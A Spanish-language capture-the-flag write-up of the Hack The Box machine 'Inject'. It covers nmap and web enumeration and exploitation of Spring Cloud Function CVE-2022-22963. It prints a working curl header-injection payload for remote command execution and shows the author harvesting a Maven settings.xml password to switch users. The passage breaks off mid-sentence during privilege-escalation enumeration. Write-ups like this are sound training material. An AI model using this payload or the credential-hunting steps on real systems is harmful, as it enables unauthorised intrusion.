Inject - HTB Writeup
Enumeración
Comenzamos la fase de enumeración con un escaneo de puertos con la herramienta nmap:
┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ sudo nmap -p- --open -sS --min-rate 4000 -n 10.10.11.204 -sC -sV -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-14 12:08 WEST
Nmap scan report for 10.10.11.204
Host is up (0.058s latency).
Not shown: 63579 closed tcp ports (reset), 1954 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.10 seconds
| Parámetro | Explícación |
|---|---|
-p- |
Es una forma de especificar que queremos escanear todos los puertos existentes, los 65535. |
--open |
Este parámetro hace que nos muestre únicamente los puertos abiertos, que nos omita los filtered. |
-sS |
Especificamos el tipo de escaneo ‘SYN port Scan’, para agilizar el escaneo ya que este valida el estado de un puerto solo con el primer paso del handshake TCP. |
--min-rate [valor] |
Envía paquetes tan o más rápido que la tasa dada. |
-n |
Quitamos la resolución DNS para que el escaneo vaya más rápido. |
-sC |
Utiliza un escaneo con una serie de scripts de enumeración por defecto de nmap. |
-sV |
Activa la detección de versiones. |
-oN [nombre de archivo] |
Exporta los resultados del escaneo en formato normal, tal cual se ve en el escaneo. |
Vemos que hay 2 puertos abiertos, el 8080/tcp y el 22/tcp.
Sabiendo esto, me puedo hacer un idea de que la vulnerabilidad a explotar estará en el puerto 8080 ya que la explotación del servicio SSH no suele ser muy común.
User.txt
Comenzamos la enumeración del servicio alojado en el puerto 8080 suponiendo que es un servicio web usando la herramienta whatweb para identificar las tecnologías usadas:
┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ whatweb -a 3 -v 10.10.11.204:8080 --log-brief=whatweb.log
WhatWeb report for http://10.10.11.204:8080
Status : 200 OK
Title : Home
IP : 10.10.11.204
Country : RESERVED, ZZ
Summary : Bootstrap, Content-Language[en-US], Frame, HTML5, YouTube
Detected Plugins:
[ Bootstrap ]
Bootstrap is an open source toolkit for developing with
HTML, CSS, and JS.
Website : https://getbootstrap.com/
[ Content-Language ]
Detect the content-language setting from the HTTP header.
String : en-US
[ Frame ]
This plugin detects instances of frame and iframe HTML
elements.
[ HTML5 ]
HTML version 5, detected by the doctype declaration
[ YouTube ]
Embedded YouTube video
Website : http://youtube.com/
HTTP Headers:
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Transfer-Encoding: chunked
Date: Sun, 14 May 2023 11:17:29 GMT
Connection: close
Parece ser que no se nos reporta nada interesante que nos llame la atención.
Siempre me gusta enumerar las aplicaciones web desde terminal antes de abrir el navegador para hacerme una idea del terreno. Por ello procedemos a hacer una petición GET con curl para ver un poco del código fuente:
┌─[z3r0byte@z3r0byte]─[~/Descargas]
└──╼ $ curl 10.10.11.204:8080
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Home</title>
<link rel="stylesheet" type="text/css" href="/webjars/bootstrap/css/bootstrap.min.css" />
<link rel="stylesheet" href="css/test.css" />
</head>
<body>
<div id="page">
<header id="header">
<nav id="nav-bar" class="navbar navbar-expand-lg navbar-dark bg-dark">
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
[...]
Y ya vemos algo que nos llama la atención y es la ruta donde está alojado el script de Bootstrap. La ruta /webjars/ no suele ser muy común así que la busco en google para intentar identificar el backend
Como podemos ver, se menciona mucho el framework de Spring asi que suponemos al 70% de que es así. Concluyo el reconocimiento desde la terminal y abro el navegador para visitar la página:
Parece ser un servicio de almacenamiento en la nube, vemos que tenemos enlaces a subpáginas en la parte superior, pero el único link que me lleva a otra parte es Blog
Y parecen haber 3 artículos a los cuales no se puede entrar. Esto me da que pensar, ¿Por qué el desarrollador de la máquina habría dedicado tiempo a crear esta única subpágina si ni siquiera tiene funcionalidad?
Si leemos los resúmenes de los artículos vemos que habla mucho de cloud y menciona también cloud security. ¿Será una pista a lo que tenemos que explotar?
Visito la página oficial de Spring para ver si puedo obtener más información sobre sus funciones y me encuentro con algo que me llama la atención:
Al parecer Spring cuenta con una suite de herramientas para cloud y se denomina Spring Cloud.
Ya que antes vimos que se hablaba de cloud security, busco en google las palabras clave spring cloud exploit y accedo al primer resultado que detalla la vulnerabilidad CVE-2022-22963 la cual nos asegura un RCE.
La vulnerabilidad reside en una cabecera HTTP que permite inyectar código java malicioso para ejecutar comandos en el host. En el artículo se nos proporciona un PoC para explotar la vulnerabilidad con el comando curl:
curl -i -s -k -X $'POST' -H $'Host: 10.10.11.204:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test")' --data-binary $'exploit_poc' $'http://10.10.11.204:8080/functionRouter'
Podemos probar que este exploit funciona haciendo una petición GET con curl a nuestra IP. Nos ponemos en escucha con netcat y vemos que recibimos una conexión desde la IP de la máquina:
Con esto verificamos que podemos ejecutar comandos, así que el siguiente paso es obtener una shell en la máquina para trabajar más cómodos:
Al no encontrar la flag user.txt en el directorio home del usuario frank, hago un reconocimiento en el sistema para ver si hay más usuarios. Podemos ver en el archivo /etc/passwd que hay otro llamado phil:
frank@inject:/$ grep -P "1[0-9]{3}" /etc/passwd
frank:x:1000:1000:frank:/home/frank:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
Tambíen me doy cuenta de un directorio oculto no común en el directorio personal del usuario frank:
Un directorio extraño que pertenece a Maven, un software para la gestión de proyectos en Java, según Google:
Al ver lo que hay dentro nos encontramos con credenciales del usuario phil.
frank@inject:~$ ls .m2
settings.xml
frank@inject:~$ cat .m2/settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>HIDDEN</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
A partir de aquí podemos iniciar sesión como este usuario y ver la flag en su directorio personal:
frank@inject:~$ su phil
Password:
phil@inject:/home/frank$ cd
phil@inject:~$ cat user.txt
HIDDEN
Root.txt
Después de conseguir acceso como el usuario phil, volví a enumerar toda la máquina en busca de vectores de escalada de privilegios para conseguir acceso como usuario root. Mientras enumeraba los procesos de la máquina con la herramienta pspy
